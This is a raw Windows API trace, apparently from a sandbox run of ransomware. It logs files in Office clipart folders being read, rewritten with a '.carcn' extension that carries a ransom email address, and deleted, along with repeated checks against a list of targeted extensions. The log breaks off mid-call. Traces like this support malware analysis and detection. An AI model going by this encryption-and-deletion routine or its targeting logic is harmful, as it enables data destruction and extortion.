[0268.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf")) returned 0x220 [0268.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0268.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0268.113] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.113] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0268.113] GetLastError () returned 0x0 [0268.114] ReadFile (in: hFile=0x548, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x1870, lpOverlapped=0x0) returned 1 [0268.131] WriteFile (in: hFile=0x524, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x1880, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x1880, lpOverlapped=0x0) returned 1 [0268.133] ReadFile (in: hFile=0x548, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0268.133] WriteFile (in: hFile=0x524, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0268.133] SetEndOfFile (hFile=0x524) returned 1 [0268.133] CloseHandle (hObject=0x524) returned 1 [0268.137] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.137] SetEndOfFile (hFile=0x548) returned 1 [0268.141] CloseHandle (hObject=0x548) returned 1 [0268.142] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0268.143] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf")) returned 1 [0268.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0268.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0268.144] lstrlenW (lpString=".doc") returned 4 [0268.144] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.144] lstrlenW (lpString=".docx") returned 5 [0268.144] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.144] lstrlenW (lpString=".pdf") returned 4 [0268.144] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.144] lstrlenW (lpString=".xls") returned 4 [0268.144] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.144] lstrlenW (lpString=".xlsx") returned 5 [0268.144] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.144] lstrlenW (lpString=".ppt") returned 4 [0268.144] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0268.144] lstrlenW (lpString=".zip") returned 4 [0268.144] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.144] lstrlenW (lpString=".rar") returned 4 [0268.144] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.145] lstrlenW (lpString=".bz2") returned 4 [0268.145] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.145] lstrlenW (lpString=".7z") returned 3 [0268.145] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0268.145] lstrlenW (lpString=".dbf") returned 4 [0268.145] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0268.145] lstrlenW (lpString=".1cd") returned 4 [0268.145] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0268.145] lstrlenW (lpString=".jpg") returned 4 [0268.145] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0268.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0268.145] lstrlenW (lpString=".doc") returned 4 [0268.145] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.145] lstrlenW (lpString=".docx") returned 5 [0268.145] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.145] lstrlenW (lpString=".pdf") returned 4 [0268.145] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.145] lstrlenW (lpString=".xls") returned 4 [0268.145] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.145] lstrlenW (lpString=".xlsx") returned 5 [0268.145] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.145] lstrlenW (lpString=".ppt") returned 4 [0268.145] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0268.146] lstrlenW (lpString=".zip") returned 4 [0268.146] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.146] lstrlenW (lpString=".rar") returned 4 [0268.146] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.146] lstrlenW (lpString=".bz2") returned 4 [0268.146] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.146] lstrlenW (lpString=".7z") returned 3 [0268.146] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0268.146] lstrlenW (lpString=".dbf") returned 4 [0268.146] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0268.146] lstrlenW (lpString=".1cd") returned 4 [0268.146] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0268.146] lstrlenW (lpString=".jpg") returned 4 [0268.146] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.146] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0268.146] lstrlenW (lpString="BL00932_.WMF") returned 12 [0268.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0268.147] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=19476) returned 1 [0268.147] CloseHandle (hObject=0x548) returned 1 [0268.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf")) returned 0x220 [0268.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0268.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0268.148] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.148] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0268.149] GetLastError () returned 0x0 [0268.149] ReadFile (in: hFile=0x548, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x4c14, lpOverlapped=0x0) returned 1 [0268.152] WriteFile (in: hFile=0x524, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x4c20, lpOverlapped=0x0) returned 1 [0268.153] ReadFile (in: hFile=0x548, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0268.153] WriteFile (in: hFile=0x524, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0268.428] SetEndOfFile (hFile=0x524) returned 1 [0268.428] CloseHandle (hObject=0x524) returned 1 [0268.437] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.437] SetEndOfFile (hFile=0x548) returned 1 [0268.454] CloseHandle (hObject=0x548) returned 1 [0268.455] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0268.628] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf")) returned 1 [0268.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0268.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0268.629] lstrlenW (lpString=".doc") returned 4 [0268.629] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.629] lstrlenW (lpString=".docx") returned 5 [0268.629] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.629] lstrlenW (lpString=".pdf") returned 4 [0268.629] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.629] lstrlenW (lpString=".xls") returned 4 [0268.629] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.629] lstrlenW (lpString=".xlsx") returned 5 [0268.629] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.629] lstrlenW (lpString=".ppt") returned 4 [0268.629] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0268.629] lstrlenW (lpString=".zip") returned 4 [0268.629] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.629] lstrlenW (lpString=".rar") returned 4 [0268.629] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.629] lstrlenW (lpString=".bz2") returned 4 [0268.629] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.629] lstrlenW (lpString=".7z") returned 3 [0268.629] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0268.629] lstrlenW (lpString=".dbf") returned 4 [0268.629] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0268.630] lstrlenW (lpString=".1cd") returned 4 [0268.630] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0268.630] lstrlenW (lpString=".jpg") returned 4 [0268.630] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0268.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0268.630] lstrlenW (lpString=".doc") returned 4 [0268.630] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.630] lstrlenW (lpString=".docx") returned 5 [0268.630] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.630] lstrlenW (lpString=".pdf") returned 4 [0268.630] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.630] lstrlenW (lpString=".xls") returned 4 [0268.630] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.630] lstrlenW (lpString=".xlsx") returned 5 [0268.630] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.630] lstrlenW (lpString=".ppt") returned 4 [0268.630] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0268.630] lstrlenW (lpString=".zip") returned 4 [0268.630] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.630] lstrlenW (lpString=".rar") returned 4 [0268.630] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.631] lstrlenW (lpString=".bz2") returned 4 [0268.631] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.631] lstrlenW (lpString=".7z") returned 3 [0268.631] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0268.631] lstrlenW (lpString=".dbf") returned 4 [0268.631] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0268.631] lstrlenW (lpString=".1cd") returned 4 [0268.631] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0268.631] lstrlenW (lpString=".jpg") returned 4 [0268.631] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.631] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0268.631] lstrlenW (lpString="BS00092_.WMF") returned 12 [0268.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0268.634] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=7974) returned 1 [0268.634] CloseHandle (hObject=0x554) returned 1 [0268.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf")) returned 0x220 [0268.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0268.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0268.635] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.635] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0268.636] GetLastError () returned 0x0 [0268.636] ReadFile (in: hFile=0x554, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x1f26, lpOverlapped=0x0) returned 1 [0268.656] WriteFile (in: hFile=0x540, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x1f30, lpOverlapped=0x0) returned 1 [0268.658] ReadFile (in: hFile=0x554, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0268.658] WriteFile (in: hFile=0x540, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0268.658] SetEndOfFile (hFile=0x540) returned 1 [0268.658] CloseHandle (hObject=0x540) returned 1 [0268.660] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.660] SetEndOfFile (hFile=0x554) returned 1 [0268.677] CloseHandle (hObject=0x554) returned 1 [0268.678] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0268.686] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf")) returned 1 [0268.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0268.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0268.700] lstrlenW (lpString=".doc") returned 4 [0268.700] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.700] lstrlenW (lpString=".docx") returned 5 [0268.701] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.701] lstrlenW (lpString=".pdf") returned 4 [0268.701] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.701] lstrlenW (lpString=".xls") returned 4 [0268.701] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.701] lstrlenW (lpString=".xlsx") returned 5 [0268.701] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.701] lstrlenW (lpString=".ppt") returned 4 [0268.701] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0268.701] lstrlenW (lpString=".zip") returned 4 [0268.701] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.701] lstrlenW (lpString=".rar") returned 4 [0268.701] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.701] lstrlenW (lpString=".bz2") returned 4 [0268.701] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.701] lstrlenW (lpString=".7z") returned 3 [0268.701] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0268.701] lstrlenW (lpString=".dbf") returned 4 [0268.701] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0268.701] lstrlenW (lpString=".1cd") returned 4 [0268.701] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0268.701] lstrlenW (lpString=".jpg") returned 4 [0268.702] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0268.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0268.702] lstrlenW (lpString=".doc") returned 4 [0268.702] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.702] lstrlenW (lpString=".docx") returned 5 [0268.702] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.702] lstrlenW (lpString=".pdf") returned 4 [0268.702] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.702] lstrlenW (lpString=".xls") returned 4 [0268.702] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.702] lstrlenW (lpString=".xlsx") returned 5 [0268.702] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.702] lstrlenW (lpString=".ppt") returned 4 [0268.702] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0268.702] lstrlenW (lpString=".zip") returned 4 [0268.702] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.702] lstrlenW (lpString=".rar") returned 4 [0268.702] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.702] lstrlenW (lpString=".bz2") returned 4 [0268.702] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.702] lstrlenW (lpString=".7z") returned 3 [0268.702] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0268.703] lstrlenW (lpString=".dbf") returned 4 [0268.703] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0268.703] lstrlenW (lpString=".1cd") returned 4 [0268.703] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0268.703] lstrlenW (lpString=".jpg") returned 4 [0268.703] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.703] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0268.703] lstrlenW (lpString="BS00135_.WMF") returned 12 [0268.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0268.840] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=1044) returned 1 [0268.840] CloseHandle (hObject=0x370) returned 1 [0268.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf")) returned 0x220 [0268.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0268.841] CreateFileW 